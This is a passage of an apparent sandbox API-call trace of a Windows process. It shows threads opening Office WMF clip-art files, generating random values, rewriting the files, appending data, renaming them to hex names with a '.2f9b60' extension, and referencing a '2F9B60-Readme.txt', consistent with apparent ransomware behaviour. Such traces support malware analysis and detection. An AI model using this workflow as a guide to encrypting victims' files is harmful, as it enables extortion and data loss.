Size=0x20) returned 0x202a93a0 [0217.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a93a0) returned 1 [0217.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.815] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="b1") returned 2 [0217.815] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="e2") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="35") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="18") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="19") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="85") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="64") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="c2") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="d8") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="d1") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="9c") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="d8") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="7f") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="16") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="a5") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="8f") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="d5") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="ae") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="8d") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="0c") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="ae") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="aa") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="82") returned 2 [0217.816] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="9e") returned 2 [0217.816] RtlInitAnsiString (in: DestinationString=0x215dfc28, SourceString="b1e23518198564c2d8d19cd87f16a58fd5ae8d0caeaa829e" | out: DestinationString="b1e23518198564c2d8d19cd87f16a58fd5ae8d0caeaa829e") [0217.816] RtlAnsiStringToUnicodeString (in: DestinationString=0x215dfbf8, SourceString="b1e23518198564c2d8d19cd87f16a58fd5ae8d0caeaa829e", AllocateDestinationString=1 | out: DestinationString="b1e23518198564c2d8d19cd87f16a58fd5ae8d0caeaa829e") returned 0x0 [0217.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43106240 [0217.817] wcscat (in: _Dest=0x4314f850, _Source="b1e235181985" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b1e235181985") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b1e235181985" [0217.817] wcscat (in: _Dest=0x4314f850, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b1e235181985.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b1e235181985.2f9b60" [0217.817] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b1e235181985.2f9b60", NtPathName=0x215dfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\b1e235181985.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119310 Thread: id = 3561 os_tid = 0x22bc [0210.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf")) returned 0x20 [0210.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF", dwFileAttributes=0x20) returned 1 [0210.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x960 [0210.940] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x274cfae0 | out: lpFileSize=0x274cfae0*=1772) returned 1 [0210.940] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x6e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.941] ReadFile (in: hFile=0x960, lpBuffer=0x274cfa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x274cfaa8, lpOverlapped=0x0 | out: lpBuffer=0x274cfa60*, lpNumberOfBytesRead=0x274cfaa8*=0x4, lpOverlapped=0x0) returned 1 [0210.961] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a99d0 [0210.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9340 [0210.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a83e0 [0210.962] NtQuerySystemTime (in: CurrentTime=0x274cf9a0 | out: CurrentTime=0x274cf9a0*=132462178158334000) returned 0x0 [0210.962] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x6d49866f [0210.962] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x586e2555 [0210.962] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0xfc792ed [0210.962] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x2d1e63a2 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0xae7308c [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x3f34f4a9 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x75347158 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x4dc30330 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x49dcad5a [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x260cad85 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x6dd9813d [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x1cb7bb6a [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0xc12db6d [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x8775b91 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x5c1cd66e [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x7807f0f1 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x2122ced7 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0xee3e53d [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x280ba0b0 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x54fab785 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0xb16b067 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x4f579521 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x46b4e96a [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x3770a436 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x6cd1dd87 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x369a6e5 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x15f515ce [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x510e298c [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x64e60ddc [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x6dc79e25 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x6ad00d80 [0210.963] RtlRandomEx (in: Seed=0x274cf990 | out: Seed=0x274cf990) returned 0x5af234c1 [0210.973] ReadFile (in: hFile=0x960, lpBuffer=0x2042ff70, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x274cf990, lpOverlapped=0x0 | out: lpBuffer=0x2042ff70*, lpNumberOfBytesRead=0x274cf990*=0x6ec, lpOverlapped=0x0) returned 1 [0210.973] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.973] WriteFile (in: hFile=0x960, lpBuffer=0x20433b80*, nNumberOfBytesToWrite=0x6ec, lpNumberOfBytesWritten=0x274cf994, lpOverlapped=0x0 | out: lpBuffer=0x20433b80*, lpNumberOfBytesWritten=0x274cf994*=0x6ec, lpOverlapped=0x0) returned 1 [0215.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b00 [0215.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137360 [0215.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137360) returned 1 [0215.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20433b80) returned 1 [0215.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2042ff70) returned 1 [0215.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce247a0) returned 1 [0215.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0215.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x43137360 [0215.436] SetFilePointerEx (in: hFile=0x960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.437] WriteFile (in: hFile=0x960, lpBuffer=0x423ab4f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x274cfab0, lpOverlapped=0x0 | out: lpBuffer=0x423ab4f0*, lpNumberOfBytesWritten=0x274cfab0*=0x10a, lpOverlapped=0x0) returned 1 [0217.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62910 [0217.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0217.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9250 [0217.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9250) returned 1 [0217.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d020 [0217.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9250 [0217.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a87a0 [0217.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a87a0) returned 1 [0217.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0217.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62910) returned 1 [0217.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8200 [0217.812] sprintf (in: _Dest=0x1b7d8200, _Format="%c%c" | out: _Dest="a4") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8202, _Format="%c%c" | out: _Dest="eb") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8204, _Format="%c%c" | out: _Dest="85") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8206, _Format="%c%c" | out: _Dest="ff") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8208, _Format="%c%c" | out: _Dest="90") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d820a, _Format="%c%c" | out: _Dest="35") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d820c, _Format="%c%c" | out: _Dest="8a") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d820e, _Format="%c%c" | out: _Dest="56") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8210, _Format="%c%c" | out: _Dest="65") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8212, _Format="%c%c" | out: _Dest="72") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8214, _Format="%c%c" | out: _Dest="ce") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8216, _Format="%c%c" | out: _Dest="56") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8218, _Format="%c%c" | out: _Dest="49") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d821a, _Format="%c%c" | out: _Dest="e0") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d821c, _Format="%c%c" | out: _Dest="a3") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d821e, _Format="%c%c" | out: _Dest="f5") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8220, _Format="%c%c" | out: _Dest="25") returned 2 [0217.812] sprintf (in: _Dest=0x1b7d8222, _Format="%c%c" | out: _Dest="53") returned 2 [0217.813] sprintf (in: _Dest=0x1b7d8224, _Format="%c%c" | out: _Dest="2b") returned 2 [0217.813] sprintf (in: _Dest=0x1b7d8226, _Format="%c%c" | out: _Dest="cc") returned 2 [0217.813] sprintf (in: _Dest=0x1b7d8228, _Format="%c%c" | out: _Dest="c1") returned 2 [0217.813] sprintf (in: _Dest=0x1b7d822a, _Format="%c%c" | out: _Dest="4a") returned 2 [0217.813] sprintf (in: _Dest=0x1b7d822c, _Format="%c%c" | out: _Dest="ff") returned 2 [0217.813] sprintf (in: _Dest=0x1b7d822e, _Format="%c%c" | out: _Dest="07") returned 2 [0217.813] RtlInitAnsiString (in: DestinationString=0x274cfb28, SourceString="a4eb85ff90358a566572ce5649e0a3f525532bccc14aff07" | out: DestinationString="a4eb85ff90358a566572ce5649e0a3f525532bccc14aff07") [0217.813] RtlAnsiStringToUnicodeString (in: DestinationString=0x274cfaf8, SourceString="a4eb85ff90358a566572ce5649e0a3f525532bccc14aff07", AllocateDestinationString=1 | out: DestinationString="a4eb85ff90358a566572ce5649e0a3f525532bccc14aff07") returned 0x0 [0217.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431061d0 [0217.813] wcscat (in: _Dest=0x4314f900, _Source="a4eb85ff9035" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a4eb85ff9035") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a4eb85ff9035" [0217.814] wcscat (in: _Dest=0x4314f900, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a4eb85ff9035.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a4eb85ff9035.2f9b60" [0217.814] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a4eb85ff9035.2f9b60", NtPathName=0x274cfad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\a4eb85ff9035.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118470 [0223.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0223.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bbd80) returned 1 [0223.937] NtQueryInformationFile (in: FileHandle=0x960, IoStatusBlock=0x274cfb38, FileInformation=0x274cfb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x274cfb38, FileInformation=0x274cfb48) returned 0x0 [0223.937] NtSetInformationFile (FileHandle=0x960, IoStatusBlock=0x274cfb38, FileInformation=0x274cfb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314f900) returned 1 [0225.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431061d0) returned 1 [0225.297] FlushFileBuffers (hFile=0x960) returned 1 [0225.557] CloseHandle (hObject=0x960) returned 1 [0226.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad290 [0226.031] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0226.031] wcscat (in: _Dest=0x202ad290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0226.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0x20 [0226.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad290) returned 1 [0226.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9a80) returned 1 Thread: id = 3562 os_tid = 0x1978 [0210.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf")) returned 0x20 [0210.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF", dwFileAttributes=0x20) returned 1 [0210.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1274 [0211.058] GetFileSizeEx (in: hFile=0x1274, lpFileSize=0x2e79f780 | out: lpFileSize=0x2e79f780*=1388) returned 1 [0211.058] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x568, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.058] ReadFile (in: hFile=0x1274, lpBuffer=0x2e79f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e79f748, lpOverlapped=0x0 | out: lpBuffer=0x2e79f700*, lpNumberOfBytesRead=0x2e79f748*=0x4, lpOverlapped=0x0) returned 1 [0211.525] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fb0 [0211.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0211.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260650 [0211.526] NtQuerySystemTime (in: CurrentTime=0x2e79f640 | out: CurrentTime=0x2e79f640*=132462178163950000) returned 0x0 [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x5905486e [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x3569b799 [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x63ca0802 [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x5f35445c [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x23875493 [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x4930365c [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0xd9c520b [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x2aafb015 [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x1d00fce1 [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x4a431f43 [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x5fe0a75c [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x5d9f052 [0211.526] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x4a055b0a [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x47e3aafc [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0xe56b172 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x3da0e7fb [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x24ad2a07 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x75715b34 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x3314eaf1 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x3b91ab89 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x5a4e273e [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x72d99176 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x16ad30b0 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x16ac94dd [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x4a055b0a [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x3258e6b [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x2a3eb2d3 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x4a238666 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x5f601d1c [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x3429b0ae [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x5b5c1e76 [0211.527] RtlRandomEx (in: Seed=0x2e79f630 | out: Seed=0x2e79f630) returned 0x237772f5 [0211.537] ReadFile (in: hFile=0x1274, lpBuffer=0x42d830d0, nNumberOfBytesToRead=0x56c, lpNumberOfBytesRead=0x2e79f630, lpOverlapped=0x0 | out: lpBuffer=0x42d830d0*, lpNumberOfBytesRead=0x2e79f630*=0x56c, lpOverlapped=0x0) returned 1 [0211.537] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.537] WriteFile (in: hFile=0x1274, lpBuffer=0x42d77ca0*, nNumberOfBytesToWrite=0x56c, lpNumberOfBytesWritten=0x2e79f634, lpOverlapped=0x0 | out: lpBuffer=0x42d77ca0*, lpNumberOfBytesWritten=0x2e79f634*=0x56c, lpOverlapped=0x0) returned 1 [0215.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1700 [0215.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac35c0 [0215.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac35c0) returned 1 [0215.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d77ca0) returned 1 [0215.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d830d0) returned 1 [0215.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9de0) returned 1 [0215.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058650) returned 1 [0215.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac35c0 [0215.510] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.510] WriteFile (in: hFile=0x1274, lpBuffer=0x431f1c80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e79f750, lpOverlapped=0x0 | out: lpBuffer=0x431f1c80*, lpNumberOfBytesWritten=0x2e79f750*=0x10a, lpOverlapped=0x0) returned 1 [0217.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0217.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0217.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202624e0) returned 1 [0217.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202624e0 [0217.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261430 [0217.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261430) returned 1 [0217.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.924] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="87") returned 2 [0217.924] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="38") returned 2 [0217.924] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="fb") returned 2 [0217.924] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="77") returned 2 [0217.924] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="f8") returned 2 [0217.924] sprintf 